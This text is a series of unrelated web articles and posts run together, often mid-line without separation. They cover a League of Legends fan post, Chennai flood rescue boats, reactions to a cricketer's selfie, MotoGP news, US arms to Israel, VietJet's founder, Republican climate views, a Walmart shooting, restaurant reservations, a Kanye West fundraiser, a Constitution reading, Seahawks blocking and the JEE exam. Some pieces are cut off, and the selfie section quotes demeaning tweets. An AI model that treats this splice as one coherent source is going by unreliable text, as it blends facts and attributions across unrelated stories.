Oh no. Uh… where is Helmet Bro? Melted down by Kog’Maw’s caustic spittle, his still corroding helmet the only vestige of a valiant warrior who now serves as a meal in the “Belly of the Abyss”? Maybe. Or maybe he found safe haven at the last second in this cave near the Razorbeaks (who were also seen in the Kog’Maw splash), his helmet serving as the poignant reminder that though you may strike him down…
He’ll return to eat damage another day. Like this sneak attack from Talon:
Helmet Bro: The Animated Series
Helmet Bro’s insane imperishability isn’t limited to just Riot splash art and videos, though. Look at the sort of punishment he endures in Helmet Bro: The Animated Series (which is created in collaboration with Riot Games via Collab Community).
Rode over roughshod by Hecarim:
Forced to endure a poison gas cloud suffering from Singed:
Trounced by demon jester Shaco‘s “Shac-in-the-Boxes,” even after an Adam West inspired comic-book sound-effect laden daydream:
Tongue-Lashed/Devoured by Tahm Kench (NSFW warning for those not ready to see animated Marrak man-ass):
Blown up in a mushroom cloud by fellow helmeted Champion, Pantheon. (Fun tongue-in-cheek origin story for Pantheon, by the way.)
Musings
Have I missed any important Helmet Bro appearances?
Is he merely a generic soldier or an in-joke with an ironic following? Or a mighty hero with no beginning/no end that rises from the ashes like a metal-clad phoenix on the regular?
Should Riot make an official splash that depicts Helmet Bro triumphing over his adversary or being saved from the certain clutches of death — or would that delegitimize the long-running streak of Marrak’s endured hardships?
Would he be too powerful if he were made into a Champion?
Sound off in the comments. And #longlivehelmetbro. Shout out/special thanks to reddit user waaaghboss82 and his “Helmet Bro Respect Thread” for inspiration and the awesome phrase “Shac-in-the-box.”
* * *It hasn’t stopped raining in Tamil Nadu for the last three days, thanks to the northeast monsoon. But with over 70 people dead and much of Chennai water-logged, the state hasn’t had it this bad in years.
On Sunday, somebody tweeted this as a joke:
Ola Cabs, though, took it really seriously. Ola now has boats ferrying people stuck in water-logged areas in Chennai.
There were trolls & jokes if @Olacabs can send boats & boy did they prove that they can. Awesome work team #Olaboat pic.twitter.com/resMQaU7Mv — Raja Venkatapathy (@RajaVenkatpathy) November 17, 2015
Love the way @Olacabs is going that extra mile with #OLABoat to rescue people. Hats off to you guys. #ChennaiRains pic.twitter.com/yuFoh3XS2a — Sanket B Mehta (@sanketbmehta) November 17, 2015
Each boat will be manned by two rowers and can ferry anywhere between five to nine people in a single attempt, says a press release issued by the company. On board, passengers can also find umbrellas to stay dry.
“We are working closely with local stakeholders to help ferry those stranded in water-logged areas,” Ravi Teja, business head of Tamil Nadu at Ola, told Hindustan Times. “Boats deployed by Ola will help ferry people to safer areas and in distribution of essential supplies like food and drinking water in affected areas.”
In case you’re wondering where an app-based taxi hailing service managed to get boats at such short notice from, Ola says that the vessels were provided bny the Chennai Sport Fishing Company.
Read | Army deployed in Tamil Nadu as torrential rains kill more than 70
First Published: Nov 17, 2015 15:50 ISTLoading...
I m where I m because I sweated it out on d field! I see no reason 2 b ashamed f it, when I'm on d ground inaugerating a cricket academy. https://t.co/lC5BOMf7o2 — Mithali Raj (@M_Raj03) August 20, 2017
Delete it mam it's not good!
people idolize you but this dressing sense doesn't is 👎👎 — NoOne (@MyselfKing12) September 6, 2017
Not Gud.Not expected these kind of pictures.Sorryyy — chandu_Prince FAN (@chanduk2010) September 6, 2017
Plz,,Delete this selfi Mithali madam... — ADI 🔵 (@imadi420) September 7, 2017
I dont like this selfie raj. — Nataraja HR (@N_Raj03) September 6, 2017
are you porn star???? Have you any respect? — awais (@awaiss11111) September 6, 2017
Mithali ji did not expect me to dress such a dress from you. At least you do not love your respect, you will finish the respect of your fanc — Pushpak (@Pushpak97662453) September 6, 2017
At is this exposing. Ur are a inspiration. Please remove it mam — s.RAMANJANEYULU (@sRAMANJANEYULU5) September 6, 2017
Her Choice.. Delete ur comment & change ur mentality..😒 — Ankita 🇮🇳 (@im_anku) September 6, 2017
ढंग की चप्पल खरिदने की औकात नही हैं इनकी और चले हैं सलाह देने।
कोई बात नही मैम सडक पे चलते समय बहुत से कुत्ते भौकते हैं, ये सब उनमे से 1हैं — VEDA NAND PANDEY (@NANDVEDA) September 6, 2017
Pl let the Indian girls live their life... Don't decide what's good and what's bad for them, for God Sake. #SupportIndianWomenCricketCaptain — krishnendu (@krish25978) September 7, 2017
Great pic lady... you look 👀 awesome 👏 — Ambalika Guha (@iamAmbl) September 6, 2017
A successful girl is one who can build a firm foundation with bricks other have thrown at her.Our Captain Cool @M_Raj03 is one of the them👍 — Sheetal Mhetre (@Sheetal_M25) September 6, 2017
किसी के पहनावे पर मत जाइये, अपनी सोच और मानसिकता को बदलो। — Pioneer Alliance (@PioneerAlliance) September 7, 2017
First Published: September 8, 2017, 8:33 AM ISTTerry and Chauna Thompson, who were indicted for murder by a Harris County grand jury Thursday, turned themselves into authorities Thursday night.
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took the win ahead of Jorge Martin and Fabio Di Giannantonio.
Last Round:
Marc Marquez proved to still be the king of the ring taking his 8th win in a row at the Sachsenring in Germany, He was made to work for it by Tech 3 rider and rookie Jonas Folger the German rider gave the home fans plenty to cheer for pushing Marquez hard but not having quite enough to challenge when Marquez upped his pace, They were joined on the podium by Dani Pedrosa but he was a distant third and never in contention for the win.
Moto2 saw championship leader and recent MotoGP graduate Franco Morbidelli take the win but he made to wait till the final lap to secure it riding an almost faultless lap to take the win ahead of Miguel Oliveira who brought himself into contention with incredible lap record pace a brilliant result for the new KTM moto2 outfit, Francesco Bagnaia rounded out the podium the Moto2 rookie proving to be a real standout and a rider to watch for the future.
Joan Mir won a thrilling Moto3 race fending off Romano Fenati and Marcos Ramierz these three battled it out till the line with Mir playing his hand best leaving it late to take the win learning from his mistake in Assen where he took the lead to early and eventually finished in 9th place.
News:
Scott Redding is doing his best and fighting to remain in the MotoGP paddock:
( http://www.crash.net/motogp/news/871892/1/redding-fighting-to-stay-in-this-paddock )
Finland is joining the MotoGP calendar but wont be here till 2019:
( http://www.motorcyclenews.com/sport/motogp/2017/august/motogp-finland-confirmed-for-2019/ )
Alvaro Bautista has signed on with Aspar Ducati in 2018 again:
( http://www.bikesportnews.com/news/news-detail/bautista-remains-with-aspar-ducati-for-motogp-2018 )
Jack Miller missed out on a podium at the Suzuka 8 hour after his team suffered from bad luck:
( http://www.crash.net/motogp/news/287459/1/suzuka-miller-tough-to-miss-the-podium )
AdvertisementsThe United States has allowed Israel, waging an offensive in the Gaza Strip, to tap a local US arms stockpile in the past week to resupply it with grenades and mortar rounds, Rear Admiral John Kirby, the Pentagon's press secretary, has said.
The munitions were located inside Israel as part of a programme managed by the US military and called War Reserves Stock Allies-Israel (WRSA-I), which stores munitions locally for US use that Israel can also access in emergency situations.
Israel, however, did not cite an emergency when it made its latest request about 10 days ago, a defence official said on Wednesday, speaking on condition of anonymity.
On Sunday, Barack Obama, the US president, called for an immediate and sustainable ceasefire in Gaza.
Washington allowed Israel to access the strategic stockpile to resupply itself with 40mm grenades and 120mm mortar rounds to deplete older stocks that would eventually need to be refreshed.
In a statement, Kirby said: "Both munitions had been in WRSA-I stock for a few years, well before the current crisis.
"All stocks in WRSA-I, as required by law, are 'in excess to US requirements'.
"Issuing munitions from the WRSA-I stockpile was strictly a sourcing decision and White House approval was not required.
"The United States is committed to the security of Israel, and it is vital to US national interests to assist Israel to develop and maintain a strong and ready self-defence capability.
"This defence sale is consistent with those objectives."
Additional Israeli requests for US-manufactured ammunition were also being processed in the US, the anonymous defence official said.
Israel's embassy in Washington declined comment about the resupply request, including whether it asked for the ammunition because of its operations in Gaza, the Reuters news agency reported.
'Iron Dome' funding
Separately, US politicians were working in Congress to provide millions of dollars in additional funding for Israel's "Iron Dome" missile shield.
The US Senate Appropriations Committee added $225m for Iron Dome to a spending bill intended mainly to provide money to handle an influx of thousands of Central American children across the US-Mexico border.
The Gaza Health Ministry said 1,361 Palestinians, mostly civilians, have been killed since Israel began its offensive on July 8.
On the Israeli side, 56 soldiers and three civilians have been killed.In December 2011, Nguyen Thi Phuong Thao launched Vietnam’s first budget airline, betting that she could disrupt an industry dominated by a nationally owned carrier. Just five years later, VietJet Air, which went public last month, operates more than 40% of the country’s flights and boasts $1.2 billion in revenues.
VietJet’s success has made Nguyen, its CEO, Southeast Asia’s only woman billionaire, and one of just two billionaires in Vietnam. She is one of 56 women on this year’s FORBES World’s Billionaires list who built their own ten-figure fortunes; more than half of them hail from Asia. Nguyen, who is 46, appeared on the list with an estimated net worth of $1.2 billion. FORBES currently pegs her fortune at $1.7 billion.
After studying economics and finance in Soviet Russia in the 1980s, Nguyen got her start trading commodities in Eastern Europe and Asia. She returned to Vietnam a decade ago and began investing in banks before turning to real estate projects in Ho Chi Minh City and resorts in Central Vietnam.
Nguyen got the idea to launch a low-cost airline while she was a trader, when she predicted that demand for air travel in Vietnam would increase.
“I have always aimed big and done big deals,” Nguyen told FORBES Vietnam. “I never done anything on a small scale. When people were trading one container [of goods], I was already trading hundreds of containers.”
Nguyen researched the models used by budget carriers such as Southwest, Ryan Air and AirAsia. She got a license to start VietJet in 2007, but high oil prices delayed the launch. In 2010, Nguyen entered into a joint venture with AirAsia. When the plan failed to get off the ground, she launched on her own the following year. Nguyen and her husband, entrepreneur Nguyen Thanh Hung, own a majority stake in VietJet through their firm Sovico Holdings.
The airline grew quickly. Early on, VietJet attracted attention with controversial ads featuring bikini-clad flight attendants. It capitalized on Vietnam’s growing air transportation market, which expanded by 29% between 2012 and 2016, and inefficiencies on the part of its main domestic competitor, Vietnam Airlines. By its second year, VietJet was turning a profit.
The airline now offers 300 flights a day, including 63 local routes and dozens of international ones, and operates 45 jets. Since it went public on Vietnam’s stock exchange on Feb. 28, the company’s shares are up 47%. More than 35 million passengers have flown with VietJet. The company recently ordered more than 200 aircraft worth nearly $23 billion from Airbus and Boeing.
Now Nguyen has even bigger plans, and the competition will get stiffer. “VietJet aims to be an international airline, not just a local one,” says.
Nguyen doesn’t think her entrepreneurial success is a matter of instinct. “Some say that anything I put hands on will be profitable. But I don’t think it’s that simple,” she told CNBC. “There’s no easy path to success. I studied and I did my research. It was a lot of hard work, and to be successful you need to be passionate about the business that you invest in.”
Follow @katiasavThis is a guest post by Bill Walker, originally published at Climate Central.
There’s a new ringleader of the skeptics' circus — otherwise known as the 2012 field of Republican presidential candidates.
Rick Santorum’s out-of-nowhere surge to a virtual tie for first place in the Iowa caucuses may not boost him to frontrunner status in next week’s New Hampshire primary and the states beyond. But in the contest to see which GOP candidate can be the biggest doubter of the science of climate change, Santorum is the unchallenged leader of the pack.
Santorum not only denies that manmade global warming is a growing concern, he denies its very existence. “There is no such thing as global warming,” he once said on Glenn Beck’s show, adding that it’s “patently absurd” to think a naturally occurring substance like CO2 – “a trace gas in the atmosphere, and the man-made part of that trace gas is itself a trace gas “ – is warming the planet. (Well, not if you understand the greenhouse effect.) He told Rush Limbaugh: “I’ve never … accepted the junk science behind that narrative.”
But it’s not really about “junk” science. Santorum simply doesn’t accept science. A devout evangelical Catholic, Santorum also rejects evolution and tried to amend federal law to require the teaching of “intelligent design” in public schools. After his fellow candidate, Jon Huntsman, affirmed his belief in evolution, Santorum said: “If Governor Huntsman wants to believe that he is the descendant of a monkey, then he has the right to believe that.”
Santorum lost Iowa by only eight votes; you have to wonder if coming out against the germ theory of disease would have put him over the top.
And it’s not just Santorum. For a long time, Congressional Republicans insisted there must be “sound science” behind environmental regulations. Now Republican politicians at all levels are rejecting sound science, either as a matter of faith or in a transparent bid for the votes of the party’s anti-science wing. Trust in science has become an electoral liability.
Four years ago, GOP nominee John McCain said without reservation that people are warming the planet and it’s time to act. This year the GOP debates have sounded like a panel discussion at a convention of the American Petroleum Institute. With one exception, all the candidates have embraced positions that run counter to facts the overwhelming majority of scientists agree on. As New York Times columnist Paul Krugman wrote:
So it’s now highly likely that the presidential candidate of one of our two major political parties will either be a man who believes what he wants to believe, even in the teeth of scientific evidence, or a man who pretends to believe whatever he thinks the party’s base wants him to believe.
The Republican presidential candidates participating in the Iowa GOP/Fox News Debate in August. Credit: Iowa Politics/flickr.
In one corner, the flip-floppers. Mitt Romney has reversed course on climate change so dramatically he seems to be debating himself. In 2008 Newt Gingrich taped an ad with Nancy Pelosi urging action on global warming. Now he says it was “the dumbest thing I’ve done.” Ron Paul has also done an about-face. He once acknowledged that “something (is) afoot” and that human activity had something to do with it, but later called the idea of manmade climate change “the greatest hoax (in) … hundreds of years.”
In the other it’s the hard-core deniers, Rick Perry, Michelle Bachman (formerly) and Santorum. Perry’s skepticism is particularly harsh — he believes climate scientists have manipulated data to pull in research money — and self-righteous. He likened current global warming skepticism to Galileo’s 17th century stand against the notion that the sun orbits the Earth.
The one candidate unafraid to publicly affirm global warming science is Huntsman, who (perhaps as a result) barely registers in the polls. Just months ago he tweeted:
“To be clear, I believe in evolution and trust scientists on global warming. Call me crazy.”
It’s tempting to instead apply that label to his rivals. But what’s really behind the candidates’ race to the scientific bottom?
Dr. Larry Hamilton, a sociologist and pollster at the University of New Hampshire, told Climate Central some Republicans are skeptical of climate change science because they don’t like the proposed solutions to the problem, such as cap and trade, which they view as oppressive government regulation. But he also said among the party’s rank-and-file, especially the evangelical faction with outsize influence in the primaries, there is an alarming level of distrust of science itself.
“In national surveys,” Hamilton said, “Republicans are much more likely than Democrats to say they don’t trust scientists as a source of information about environmental issues.”
A Public Policy Polling survey found that only 21 percent of Republican caucus voters in Iowa believe in global warming and only 35 percent accept evolution. Hamilton said it’s not that different in New Hampshire, where the Granite State Poll found that 31 percent of Republicans accept manmade climate change as a fact.
So what’s a rational Republican who trusts science and is concerned about climate change to do?
Farrell Seiler, chairman of New Hampshire Republicans for Climate, said he and his members will vote for Huntsman (although the more they’ve looked at his energy policy the less impressed they are). Seiler attributed the relatively greater acceptance of science among New Hampshire Republicans to the fact that the state is in “the direct line of fire” of extreme weather, particularly on its coast.
In November, Seiler’s group sponsored a New Hampshire town hall meeting on climate change and invited all the GOP candidates. They realized the frontrunners wouldn’t come, but they made a special effort to reach out to Huntsman. They wanted to know why, after his “call me crazy” tweet, he seemed to back off his position.
“We wanted to send a message that there are Republicans who get it on climate,” Seiler said. “We hoped Jon Huntsman would be willing to make a strong statement in front of a climate-friendly audience. But he didn’t show.”
This is a guest post by Bill Walker, originally published at Climate Central
Bill Walker, a writer and columnist for Climate Central, is a former newspaper correspondent and for more than 20 years a communications strategist for leading environmental organizations. He lives in Berkeley, Calif.Please enable Javascript to watch this video
LAKE HALLIE — Authorities say a police officer fatally shot a developmentally disabled woman inside a western Wisconsin Walmart after she wouldn't drop a hatchet she grabbed from a shelf.
Chippewa County Sheriff Jim Kowalczyk says the woman was shopping with chaperones Friday at the store in Lake Hallie, between Eau Claire and Chippewa Falls. He says police were called around 5 p.m. after she grabbed a hatchet from a sporting goods department shelf and began swinging it.
The sheriff says a Lake Hallie police officer shot her after she wouldn't drop the hatchet and lunged at the officer. She was taken to an Eau Claire hospital with wounds to her abdomen and thigh.
Chippewa County Coroner Ronald Patten says the 25-year-old woman died Friday night and an autopsy is planned for Sunday.Dinner Reservation vs. Engage a Table
Blogger Burrito Justice found references to West Coast restaurants that asked for reservations, even by telephone.
But I still wasn't satisfied.
So, I went to Rebecca Spang, a Cornell Ph.D whose first book was The Invention of the Restaurant,* published by Harvard University Press. She's now an associate professor of history at Indiana University, where her research focuses on food, money, and consumption. If anyone was going to know where the idea of the reservation came from, it was Spang. Her book traces the narrative of the restaurant back to 18th-century France, and given what Carmody and Appelbaum had said, I put the question to her like this: "Does the practice trace back to the 18th-century development of the restaurant? Or is it a bolt-on of the industrial age and widespread diffusion of the telephone?"
Fascinatingly, she told me that the question had never come up before. (Certainly it had never occurred to me, but once it had, it seemed like a gap in my knowledge that I had to fill.) But when she thought about it, she was able to come up with the definitive answer I'd been looking for.
Reserving a table is not so much an "industrial age bolt-on" as it's a slippage from the older custom of reserving a ROOM in a restaurant. As my book explains, 18th-cy "caterers" [traiteurs] either served clients in their homes or in rooms at the traiteur's, the first self-styled restaurateurs borrowed from cafes in having lots of small tables in one big room. Throughout the nineteenth century, many big city restaurants continued to have both a (very) large public eating room with numerous, small (private) tables AND a number of smaller rooms that could be reserved for more private meals. (Much as some restaurants have special "banquet facilities" or "special occasion" rooms today.) So, for instance, in Elisabeth Marbury, Manners: A Handbook of Social Customs (Chicago, 1888) we find: "When a dinner is given at a public restaurant, a table can be reserved in the public dining room or a private room can be engaged. It is usual to order the dinner beforehand, so that there will be no needless delay in serving it when the guests arrive."
Why did the practice develop? In the startup terms of our day, what problem did the institution of restaurant reservations solve? Well, the answer boils down to... sex and propriety.
I only have an impressionistic sense of this (no quantitative data!) but I have the strong feeling that restaurant reservations of the sort described above are also the product of gender imbalance in American cities at the end of the nineteenth century--comparatively lots of single, affluent men who could not decently invite single women into their homes. They therefore entertained in restaurants, treating the restaurant as a public extension of home. See, for instance, Walter Germain, The Complete Bachelor: Manners for Men (NY: 1897): "The public restaurant or dining room is the place for a bachelor supper when ladies are guests. A private room is not proper, and your guests want to see and be seen." The same text asserts "All meals in a restaurant, unless organized on the spur of a moment, are ordered beforehand and everything, including the waiter's tip, arranged and settled for. If you have not an account at the restaurant, pay the bill at the time you arrange the menu and reserve the table."
So, what we have in the nineteenth century is restaurant reservations as a way of hiring a caterer or being able to throw a dinner party in the absence of all the necessary physical and social accoutrements (from wife and maidservants to a cook, fingerbowls and fishknives for 16, etc. etc.)
What about the telephone? I've grown up in an era where technology has forced lots of changes in the envelope of social possibility. So I assumed that the telephone must have been an important force. If there is one thing that telephones are good at, it is making reservations at restaurants.I picked up a suspicious envelope from my work reception today. The envelope was marked "Firebox", which I was worried was a reference to some kind of STD :-P
Opening it up I found the Periodic Tablecloth of Swearing - a valuable resource for expanding my vocab! Maybe my posts had too much uncreative abuse for my Secret Santa! Also Modern Toss - good work!
Also inside was an interesting looking tool. I have yet to break it out of its packaging (might possibly require another tool altogether). It is no sonic screwdriver, but should help me on my way to becoming a Dr Who/James Bond-like figure.
At the very bottom was a lil' card and a bag of sweets (immediately consumed).
Thanks, Secret Santa! (or not-so-secret - the invoice had your name and address! Though not your username!)(Author update: The amount raised as of 2/17/16 at 7 a.m. is $289.)
Kanye West did what Kanye West does best this week on Twitter : he had people talking about him.
This time, however, it wasn't about his music but about his money. In a series of bizarre tweets, West asked Facebook billionaire Mark Zuckerberg for "help."
The rapper and fashion designer claims to be $53 million in debt, citing struggles to make his music and fund his clothing line as reasons for his money woes. Apparently, the $500 haircuts and a $3 million engagement ring had nothing to do with it.
Zuckerberg didn't reach out to West in response to his plea - at least not publicly.
(You can read Rob Wood's assessment of what would happen if Zuckerberg actually did decide to help out Kanye here.)
But West says that many others did, including "hedge fund guys billionaires etc."
And a guy named Jeremy Piatt. Piatt is the Co-founder and Creative Director at Paul Bunyan Design in Minneapolis, Minnesota. Paul Bunyan Design offers branding, logo and web design services, serving a number of clients - though West isn't one of them.
Following West's Twitter pleas, Piatt took to the web to launch his own campaign to help West. He started a GoFundMe account for West, saying:
Kanye West, prolific entertainer/fashion icon/celebrity/member of the Kardashian family needs our help! Recently, Kanye let us in on his personal struggle. He is 53 million dollars in debt and it doesn't look like he's going to get Mark Zuckerberg's help that he desperately needs. We must open our hearts and wallets for Kanye today. Sure he is personally rich and can buy furs and houses for his family, but without our help, the true genius of Kanye West can't be realized. As Kanye West has told us time and time again he is the "greatest living artist and greatest artist of all time". Great artists need to be supported financially to achieve their full potential. To quote Mr. West, "I am Warhol. I am the number one most impactful artist of our generation. I am Shakespeare in the flesh. Walt Disney. Nike. Google. Now who's gonna be the Medici family and stand up and let me create more!" WE MUST BE THE MEDICI FAMILY TO KANYE. GoFundMe, let us unite!
Piatt's GoFundMe goal? Just $53 million. After a day on the site, Piatt had raised $25 in pledges to help the rapper out.
Piatt, a West fan, hasn't ever done anything like this before but, he says, "I wouldn't say it's a lark."
While admitting that it's "for fun, for sure," Piatt says he doesn't want a "single penny." He says he's working with GoFundMe to make sure that the money goes directly to West. GoFundMe is used to situations where campaigns are earmarked for beneficiaries, noting on their site that, "Through GoFundMe they [the beneficiaries] will be given direct access to the money you have raised for them."
Why would that matter? For one, concerns about fraud. Pitt says that he received a few comments from folks who believed that he was trying to defraud consumers by using West's name. By working directly with GoFundMe, Piatt never has access to the funds, keeping the site safe for donors.
Another reason? Taxes. If Piatt had raised money with the intent to turn it over to West - money that would have initially been payable directly to Piatt - that could have triggered some tax issues. Assuming there was no business purpose or other non-donative intent, which Piatt assured me was the case, there would be no federal income tax payable upon receipt of the donations. The donations would be considered gifts: there’s no consideration given in return, no services rendered, no products being touted (there are no premiums for donations - and it doesn't fit the crowdfunding for business model). The Internal Revenue Service (IRS) defines a gift as "any transfer to an individual, either directly or indirectly, where full consideration (measured in money or money’s worth) is not received in return" based on the provisions found in the Tax Code beginning at section 2501. There aren't any income tax consequences for the donee upon receipt of a gift but any income generated after the transfer would be taxable.
What about gift tax? Gifts are subject to the federal gift tax rules, which means that the gift giver (not the recipient of the gift) is responsible for the gift tax. You can give up to $14,000 per person, per year, without being subject to federal gift tax (you can read more on the 2016 federal gift and estate tax limits here).
That's where chain of control matters. When it comes to gift tax, one of the most important elements is control: did you have control over the money before you gave it away? If I gave my daughter $50,000, that's a single gift. If, however, I gave my daughter $50,000 but told her that I really hoped she gave some to each of her siblings, that would result in three separate gifts - but not from me. There's one gift of $50,000 from me to my daughter and then one gift from my daughter to each of her two siblings, making three gifts in total. Once the $50,000 landed in my daughter's hands, it became her money. That level of control makes it likely taxable - and it's the reason why estate attorneys caution clients about leaving sums of money to one beneficiary with the "understanding" that the beneficiary will pass it along to others.
If the IRS felt that Piatt had exercised control over the money, it might have been subject to gift tax when he turned it over to West. The gift tax on $53 million? A whopping $19,020,000. Piatt could argue that he was simply a middleman - but why even have to make that argument? If, however, as is the case here, the money were paid directly over to West, there are no fraud or tax issues.
So what does Piatt hope to get out of this? He says that funding the arts is important, noting that "without the proper funding, ideas don't get done." But, realistically, with the GoFundMe account standing at just $25, the chances of funding West's next project seem pretty far-fetched.
As for West, even without Piatt's fundraiser, he'll likely land on his feet. Some have suggested that his cries for help may actually be designed for publicity. It's worth noting that yesterday - the day West asked for Zuckerberg's help - also marked the 58th Grammy Awards for which West received several nods but did not take home an award. West wasn't in attendance, after vowing via Twitter, "I'm not going to the Grammys unless they promise me Album of the Year." He had hoped to win Album of the Year for his recently released (and highly acclaimed) album, The Life of Pablo, which did not garner an Album of the Year nomination.It was a straightforward proposition: The new House Republican majority would lead the chamber in reading the Constitution. But nothing in Congress is straightforward, and the moment the lawmakers began the exercise Thursday morning, they bogged down in a dispute.
They couldn't agree on which version to read.
Now most Americans are of the impression that there isn't, say, a King James version of the Constitution and a New International version of the Constitution. There is only one version. But our leaders had other views.
"Will we be reading the entire original document without deletion?" inquired Rep. Jay Inslee (D-Wash.).
"Those portions superseded by amendment will not be read," declared Rep. Bob Goodlatte (R-Va.).
"We have not been able to review the exact language we will be reading," Inslee persisted.
This produced laughter on the GOP side.
"I don't take it very lightly," Rep. Jesse Jackson Jr. (D-Ill.) retorted, that "before we begin the reading of our sacred document, [colleagues] are raising questions about what we will specifically be reading, what specifically will be redacted."
"They are not deletions!" Rep. Louie Gohmert (R-Tex.) countered.
The right of the people's representatives noisily to assemble shall not be abridged.
In fact, there is only one version of the Constitution - and it wasn't what the lawmakers read aloud. What the Republican majority decided to read was a sanitized Constitution - an excerpted version of the founding document conjuring a fanciful land that never counted a black person as three-fifths of a white person, never denied women the right to vote, never allowed slavery and never banned liquor.
The idea of reading the Constitution aloud was generated by the Tea Party as a way to re-affirm lawmakers' fealty to the framers, but in practice it did the opposite. In deciding to omit objectionable passages that were later altered by amendment, the new majority jettisoned "originalist" and "constructionist" beliefs and created - dare it be said? - a "living Constitution" pruned of the founders' missteps. Nobody's proud of the three-fifths compromise, but how can we learn from our founding if we aren't honest about it?The focus of this piece is a clip, not even two minutes long, that shows most of the pass blocking snaps that either Germain Ifedi or Ethan Pocic took at right tackle. I omitted a few snaps with things like play-action passes or bootlegs away from the right side where the plays didn’t tell us much.
(I also skipped a few where my replay file kept stuttering.)
I’ve focused mostly on the right tackle position because I think that’s the biggest question mark, and focused on the passing game because in the NFL quarterback play is what wins games.
Without access to coaches film in the preseason, a limited number of snaps, and preseason games themselves only being a small set of the information that coaches will use to set depth charts, it’s hard to know how much to read into any of these games. But with every game and every play analyzed and re-analyzed, it’s helpful to have them all in one place:
Your browser does not support HTML5 video.
I slowed every play down to 80% speed to make it easier to see what is going on. Each play is labeled in sequential order for easy reference.
Play 1: Justin Britt and Luke Joeckel double-team Brandon Mebane. Everyone wins their battles
2: Oday Aboushi allows instant pressure from Corey Liuget
3: Ifedi allows instant pressure
4: Ifedi (and to a lesser extent Fant) allow pressure around the edge, forcing Russell Wilson to step up
5: [Trevone Boykin in at QB. Mark Glowinski at RG. Joeckel LT. Rees Odhiambo LG. Joey Hunt at C] Pressure allowed by Rees
6: Glow looks clueless handling stunt. Hunt late to help
7: Good protection
8: Good protection
9: Glow gets destroyed resulting in a sack
10: Good protection
11: George Fant gets beat but Rees helps out by shoving the defender
12: Good protection
13: Ifedi gets beat
14: [ 2nd half. Pocic in at RT. Rees LT. Roos LG.] Good protection
. Pocic in at RT. Rees LT. Roos LG.] Good protection 15: Good protection
16: Good protection
17: Roos allows late pressure but otherwise good
18: Roos struggles to pick up stunt
19: Good protection
20: Rees asked to block two defenders
21: An eternity in the pocket
Obviously the quality of defenders faced isn’t necessarily the same since Ifedi played in the 1st half and Pocic in the 2nd half, but I have Ifedi allowing 3 pressures in 13 snaps here (with plays 3 and 13 being especially bad). That’s not even counting play 9, where his man got the sack but the initial pressure was allowed by Glowinski. Pocic didn’t come anywhere near allowing a pressure, although he did have some help from running backs chipping on a couple plays.
Some other assorted things that I noticed:
This is a nice Eddie Lacy carry but for a good laugh watch Seattle's center after the snap pic.twitter.com/GplfQj71BK — Ben Baldwin (@guga31bb) August 14, 2017
There were some issues with cut blocking the second level, which shouldn’t be surprising since this is the first time they’ve been allowed to do this all year, but still looks funny.
ohmygod now watch Seattle's RT here (#79, Pocic) and try not to laugh out loud, what are they teaching these guys pic.twitter.com/JWRZafKcQg — Ben Baldwin (@guga31bb) August 15, 2017
Sometimes it doesn’t matter if you have an unblocked defender if you have a chiseled train of a running back carrying the ball:
Chris Carson at the goalline is a LOAD, good lord pic.twitter.com/WUXMHTGqlM — Ben Baldwin (@guga31bb) August 15, 2017
This article doesn’t have a unified message (except, perhaps, being terrified of the idea of Ifedi starting at RT) so hopefully will serve as fodder for discussion. For further offensive line observations, check out Coleman Crawford’s Inside the Film from this week that also breaks down how they did against the Chargers.
As always, let me know what you think in the comments section or on twitter.Joint Entrance Examination – Advanced (JEE-Advanced), formerly the Indian Institutes of Technology-Joint Entrance Examination (IIT-JEE) is an annual engineering college entrance examination in India. It is conducted by one of the seven zonal IITs (IIT Roorkee, IIT Kharagpur, IIT Delhi, IIT Kanpur, IIT Bombay, IIT Madras, and IIT Guwahati) under guidance of the Joint Admission Board (JAB). It is used as the sole admission test by the 23 Indian Institutes of Technology (IITs). Other universities like the Rajiv Gandhi Institute of Petroleum Technology, Indian Institute of Science Education and Research (IISERs) and the premier Indian Institute of Science (IISc) also use the score obtained in JEE Advanced as the basis for admission. Any student who took admission to IITs could not appear for the JEE-Advanced exam in the next year, but the same was not the case with IISc, IISER, RGIPT and other institutes as these institutes only used JEE Advanced score for admission. The examination is organised each year by one of the various IITs, on a round robin rotation pattern. It has a very low admission rate (about 9,369 in 479,651 in 2012; which was around 1.95%)[1] The latest admission rate in 2017 was around 0.92% in IITs (about 11,000 out of 1,200,000 who applied for JEE Main)[1]. It is recognised as one of the toughest examinations in the world and is one of the most difficult examinations of India to qualify.
In 2013 the exam, originally called the IIT-JEE, was renamed as JEE (Advanced), along with the AIEEE being renamed JEE(Main).[2] From 2017, IITs started conducting JEE internationally to give admission to international students.[3]
History [ edit ]
The first IIT, Indian Institute of Technology Kharagpur, started in 1951. In the initial few years (1951-1954) students were admitted on the basis of their academic results followed by an Interview in several Centers across the country. From 1955-1959 admission was via an all India examination held only for IIT Kharagpur (other IITs had not started by then). Branches were allotted through Interviews/counseling held at Kharagpur.[citation needed]
The common IIT-JEE was conducted for the first time in 1961,[4] when it had four subjects including an English language paper. The examination since evolved considerably from its initial pattern. The IIT-JEE was initially called the Common Entrance Exam (CEE); its creation coincided with that of the 1961 IIT Act.[5]
From 1978, The English paper was stopped being taken into account for counting the rank. From 1998, the English exam was completely stopped.
In 1997, the IIT-JEE was conducted twice after the question paper was leaked in some centers.
Between 2000 and 2005, an additional screening test was used alongside the main examination, intended to reduce pressure on the main examination by allowing only about 20,000 top candidates to sit for the paper, out of more than 450,000 applicants.
From 2002, an additional exam called the AIEEE was introduced and this was used for admissions to institutions other than IITs. In 2012 The AIEEE was changed to JEE(Main) and IIT-JEE to JEE(Advanced); with this, the JEE (Main) became the screening exam for JEE (Advanced).
From June 2005, The Hindu newspaper led a campaign for reforming the IIT-JEE to reduce the coaching mania and to improve the gender and socio-economic diversity.[6][7][8] Two possible solutions were proposed - either a convergence between the screening test and the All India Engineering Entrance Examination (AIEEE), or a two-tier examination whereby ranks from the first tier can be used for the purposes of gaining admission to the NITs and other engineering colleges in the country.
In September 2005, an analysis group of directors of all the IITs announced major reforms to the examination. These were implemented from 2006 onwards..[9] The revised test consisted of a single objective test, replacing the earlier two-test system. In order to be eligible for the main examination, candidates in the general category had to secure a minimum of 60% aggregated marks in the qualifying examination of the XIIth standard organized by various educational boards of India, while candidates belonging to Scheduled Caste (SC), Scheduled Tribe (ST) and Physically Disabled (PD) categories must secure a minimum of 55%.
From 2006, the screening exam was abolished with the introduction of 8 new IITs. The exam became fully objective [obviously incorrect statement; new IITs started in 2008, screening exam was removed and single stage multiple-choice exam started in 2006].
